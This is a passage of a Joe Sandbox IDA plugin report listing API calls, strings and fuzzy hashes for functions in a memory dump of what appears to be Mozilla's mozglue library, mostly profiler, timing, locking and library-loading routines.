Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C689470
Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C689482
Part of subcall function 6C689420: __Init_thread_footer.LIBCMT ref: 6C68949F

GetCurrentThreadId.KERNEL32 ref: 6C68EE60
AcquireSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C68EE6D
ReleaseSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C68EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C68EEA5
CloseHandle.KERNEL32(?), ref: 6C68EEB4
free.MOZGLUE(00000000), ref: 6C68EEBB
GetCurrentThreadId.KERNEL32 ref: 6C68EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C68EECF

Part of subcall function 6C68DE60: GetCurrentThreadId.KERNEL32 ref: 6C68DE73
Part of subcall function 6C68DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C654A68), ref: 6C68DE7B
Part of subcall function 6C68DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C654A68), ref: 6C68DEB8
Part of subcall function 6C68DE60: free.MOZGLUE(00000000,?,6C654A68), ref: 6C68DEFE
Part of subcall function 6C68DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C68DF38

Part of subcall function 6C67CBE8: GetCurrentProcess.KERNEL32(?,6C6431A7), ref: 6C67CBF1
Part of subcall function 6C67CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6431A7), ref: 6C67CBFA

GetCurrentThreadId.KERNEL32 ref: 6C68EF1E
AcquireSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C68EF2B
ReleaseSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C68EF59
GetCurrentThreadId.KERNEL32 ref: 6C68EFB0
AcquireSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C68EFBD
ReleaseSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C68EFE1
GetCurrentThreadId.KERNEL32 ref: 6C68EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C68F000

Part of subcall function 6C6894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6894EE
Part of subcall function 6C6894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C689508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C68F02F

Part of subcall function 6C68F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C68F09B
Part of subcall function 6C68F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C68F0AC
Part of subcall function 6C68F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C68F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C68EED7
[I %d/%d] profiler_pause, xrefs: 6C68F008

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 71dd8be50467f71185ad76fdf2842611f9a4b6cfa43a0ed3c12f4567cf6add30
Instruction ID: 067141b59f2c666b7495d9340218b33de267f06116d1bec402fd20f7b956fc48
Opcode Fuzzy Hash: 71dd8be50467f71185ad76fdf2842611f9a4b6cfa43a0ed3c12f4567cf6add30
Instruction Fuzzy Hash: FB5106357022109FDB005B66D4887997BB4EF8B35DF104566E91583B42DB784A05CBFF

Function 6C655E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C655E9D

Part of subcall function 6C665B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6656EE,?,00000001), ref: 6C665B85
Part of subcall function 6C665B50: EnterCriticalSection.KERNEL32(6C6CF688,?,?,?,6C6656EE,?,00000001), ref: 6C665B90
Part of subcall function 6C665B50: LeaveCriticalSection.KERNEL32(6C6CF688,?,?,?,6C6656EE,?,00000001), ref: 6C665BD8
Part of subcall function 6C665B50: GetTickCount64.KERNEL32 ref: 6C665BE4

GetCurrentThreadId.KERNEL32 ref: 6C655EAB
GetCurrentThreadId.KERNEL32 ref: 6C655EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C655ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C656017

Part of subcall function 6C644310: moz_xmalloc.MOZGLUE(00000010,?,6C6442D2), ref: 6C64436A
Part of subcall function 6C644310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6442D2), ref: 6C644387

moz_xmalloc.MOZGLUE(00000004), ref: 6C655F47
GetCurrentProcess.KERNEL32 ref: 6C655F53
GetCurrentThread.KERNEL32 ref: 6C655F5C
GetCurrentProcess.KERNEL32 ref: 6C655F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C655F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C655F27

Part of subcall function 6C65CA10: mozalloc_abort.MOZGLUE(?), ref: 6C65CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6555E1), ref: 6C655E8C

Part of subcall function 6C65CA10: malloc.MOZGLUE(?), ref: 6C65CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6555E1), ref: 6C65605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6555E1), ref: 6C6560CC

Strings

GeckoMain, xrefs: 6C655ECE, 6C656015

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: f8f5213453d9bf3d5a20de0d4b5505d4ca70910351c3b8d3bee89e59bc45a3f6
Instruction ID: 96b5c54d2b298c780f419a119bcfe83efc01d51e8fb857fb2ddb88334a1e3611
Opcode Fuzzy Hash: f8f5213453d9bf3d5a20de0d4b5505d4ca70910351c3b8d3bee89e59bc45a3f6
Instruction Fuzzy Hash: C771D2B0A047409FD710DF29C4C0A6ABBF0FF9A308F54496DE58687B52D731E958CB9A

Function 6C659590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6431C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C643217
Part of subcall function 6C6431C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C643236
Part of subcall function 6C6431C0: FreeLibrary.KERNEL32 ref: 6C64324B
Part of subcall function 6C6431C0: __Init_thread_footer.LIBCMT ref: 6C643260
Part of subcall function 6C6431C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C64327F
Part of subcall function 6C6431C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C64328E
Part of subcall function 6C6431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6432AB
Part of subcall function 6C6431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6432D1
Part of subcall function 6C6431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6432E5
Part of subcall function 6C6431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6432F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C659675
__Init_thread_footer.LIBCMT ref: 6C659697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6596E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C659707
__Init_thread_footer.LIBCMT ref: 6C65971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C659773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6597B7
FreeLibrary.KERNEL32 ref: 6C6597D0
FreeLibrary.KERNEL32 ref: 6C6597EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C659824

Strings

MapViewOfFileNuma2, xrefs: 6C6597B1
NtMapViewOfSection, xrefs: 6C659701
ntdll.dll, xrefs: 6C6596E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C659670

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0e2b2caa8947dc6d0cd7b48d3cd02e7f60f497f984ff98936dfd638528b72360
Instruction ID: cc9632ecbd2b86bb7b072503f5eb641311e6a9625c49afb0b68f8da0cd9dde97
Opcode Fuzzy Hash: 0e2b2caa8947dc6d0cd7b48d3cd02e7f60f497f984ff98936dfd638528b72360
Instruction Fuzzy Hash: 2A61F8B17002059FDF00CF66E8D4B9A7BB0EB4A758F608519ED1993780D730E965CBAE

Function 6C6A6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C6CF618), ref: 6C6A6694
GetThreadId.KERNEL32(?), ref: 6C6A66B1
GetCurrentThreadId.KERNEL32 ref: 6C6A66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6A66E1
EnterCriticalSection.KERNEL32(6C6CF618), ref: 6C6A6734
GetCurrentProcess.KERNEL32 ref: 6C6A673A
LeaveCriticalSection.KERNEL32(6C6CF618), ref: 6C6A676C
GetCurrentThread.KERNEL32 ref: 6C6A67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C6A6868
RtlCaptureContext.NTDLL ref: 6C6A687F

Strings

WalkStack64, xrefs: 6C6A6890

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 33deeed79cc06f25fac7469811c703bf8c20484c32530b5f6e5ea5672a6432db
Instruction ID: be914ce54481033153e63d255a3863217c2302cb855a3257ae04b3227dbf3719
Opcode Fuzzy Hash: 33deeed79cc06f25fac7469811c703bf8c20484c32530b5f6e5ea5672a6432db
Instruction Fuzzy Hash: 1A51BF71A09301AFD711CF69C884B9ABBF4FF89714F00492DF59997640D770EA0ACB9A

Function 6C68DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C654A68), ref: 6C68945E
Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C689470
Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C689482
Part of subcall function 6C689420: __Init_thread_footer.LIBCMT ref: 6C68949F

GetCurrentThreadId.KERNEL32 ref: 6C68DE73
GetCurrentThreadId.KERNEL32 ref: 6C68DF7D
AcquireSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C68DF8A
ReleaseSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C68DFC9
GetCurrentThreadId.KERNEL32 ref: 6C68DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C68E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C654A68), ref: 6C68DE7B

Part of subcall function 6C6894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6894EE
Part of subcall function 6C6894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C689508

Part of subcall function 6C67CBE8: GetCurrentProcess.KERNEL32(?,6C6431A7), ref: 6C67CBF1
Part of subcall function 6C67CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6431A7), ref: 6C67CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C654A68), ref: 6C68DEB8
free.MOZGLUE(00000000,?,6C654A68), ref: 6C68DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C68DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C68DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C68E00E
<none>, xrefs: 6C68DFD7

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 7ce85191ea10c9efc7a31f54ec6103e07178790f86afb3d30f435d82f01a6080
Instruction ID: 874d10c5ff16741b589ac77f08546a28c3a696d3aa76ee302c23fd191c2ff61f
Opcode Fuzzy Hash: 7ce85191ea10c9efc7a31f54ec6103e07178790f86afb3d30f435d82f01a6080
Instruction Fuzzy Hash: 88411731B022119BDB109F66D8887AE7775EF8630CF144416E90997B42CB759A06CBFF

Function 6C69D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C69D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C69D52A
GetCurrentThreadId.KERNEL32 ref: 6C69D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C69D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C69D55F
free.MOZGLUE(00000000), ref: 6C69D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69D5D3
GetCurrentThreadId.KERNEL32 ref: 6C69D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C69D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C69D652
GetCurrentThreadId.KERNEL32 ref: 6C69D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C69D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C69D6A2

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 8beed0fb7a5d64f4aa1df19a05b375d0a82f85fd1cd95c6ddc3daba004283bec
Instruction ID: 2b0529c11e02890c950413dc11fb1f4f9347b33e32e6a33fd4c07740b766cf43
Opcode Fuzzy Hash: 8beed0fb7a5d64f4aa1df19a05b375d0a82f85fd1cd95c6ddc3daba004283bec
Instruction Fuzzy Hash: 4F518C71604705EFC704CF35C884A9ABBF4FF8A358F108A2EE94A87710DB30A955CB99

Function 6C665670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6656D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6656E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6656F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C665744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6657BC
GetTickCount64.KERNEL32 ref: 6C6658CB
EnterCriticalSection.KERNEL32(6C6CF688), ref: 6C6658F3
__aulldiv.LIBCMT ref: 6C665945
LeaveCriticalSection.KERNEL32(6C6CF688), ref: 6C6659B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C6CF638,?,?,?,?), ref: 6C6659E9

Strings

MOZ_APP_RESTART, xrefs: 6C6656CC

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: dd65d49c6a33d38fd95cd3d6a61c589e94db42062cfa4f20f63eeefc54b687bd
Instruction ID: fbbfba8ae132824c63f58a266fe43f6db016fa8a739fa5136c3dc93d8376eddd
Opcode Fuzzy Hash: dd65d49c6a33d38fd95cd3d6a61c589e94db42062cfa4f20f63eeefc54b687bd
Instruction Fuzzy Hash: DFC18E71A087809FD705CF2AC48165ABBF1FFCA714F058A1DE8C597A61D730A985CB8B

Function 6C68EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C654A68), ref: 6C68945E
Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C689470
Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C689482
Part of subcall function 6C689420: __Init_thread_footer.LIBCMT ref: 6C68949F

GetCurrentThreadId.KERNEL32 ref: 6C68EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C68EC8C

Part of subcall function 6C6894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6894EE
Part of subcall function 6C6894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C689508

GetCurrentThreadId.KERNEL32 ref: 6C68ECA1
AcquireSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C68ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C68ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C68ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C68ED19
CloseHandle.KERNEL32(?), ref: 6C68ED28
free.MOZGLUE(00000000), ref: 6C68ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C68ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C68EC94

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: a740993c5c8396938678a2a2b6fd062693ad15b105261e8f76a76e9dc85865bf
Instruction ID: 0078449b86ff71ee6a24ee4d87544a4b78bbd2cb86ff028e80d790c888a2a03d
Opcode Fuzzy Hash: a740993c5c8396938678a2a2b6fd062693ad15b105261e8f76a76e9dc85865bf
Instruction Fuzzy Hash: 8A21F779601104ABDF009F65D848A9A3779EF8A36DF108211FD1897742DB35990ACBFE

Function 6C66C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C66C5A3
WideCharToMultiByte.KERNEL32 ref: 6C66C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C66C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C66CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C66CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C66CAA5

Strings

(null), xrefs: 6C66C596
0, xrefs: 6C66D30A

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: e2c4218dcb02e675b568a78a4eeec0d5707ca5e1c78ff763d661da3e5537e043
Instruction ID: 3d2f2dd2de42e46eb853bf38a3aa19eac38b60ec69b64cb567849069569557f8
Opcode Fuzzy Hash: e2c4218dcb02e675b568a78a4eeec0d5707ca5e1c78ff763d661da3e5537e043
Instruction Fuzzy Hash: 3FA1A030608741AFDB00DF2AC59475ABBE1AFCA748F14891DE99AD7B41D731E805CB8B

Function 6C643480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C643284,?,?,6C6656F6), ref: 6C643492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C643284,?,?,6C6656F6), ref: 6C6434A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C643284,?,?,6C6656F6), ref: 6C6434EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C64350E
__Init_thread_footer.LIBCMT ref: 6C643522
__aulldiv.LIBCMT ref: 6C643552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C643284,?,?,6C6656F6), ref: 6C64357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C643284,?,?,6C6656F6), ref: 6C643592

Part of subcall function 6C67AB89: EnterCriticalSection.KERNEL32(6C6CE370,?,?,?,6C6434DE,6C6CF6CC,?,?,?,?,?,?,?,6C643284), ref: 6C67AB94
Part of subcall function 6C67AB89: LeaveCriticalSection.KERNEL32(6C6CE370,?,6C6434DE,6C6CF6CC,?,?,?,?,?,?,?,6C643284,?,?,6C6656F6), ref: 6C67ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C643508
kernel32.dll, xrefs: 6C6434EA

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

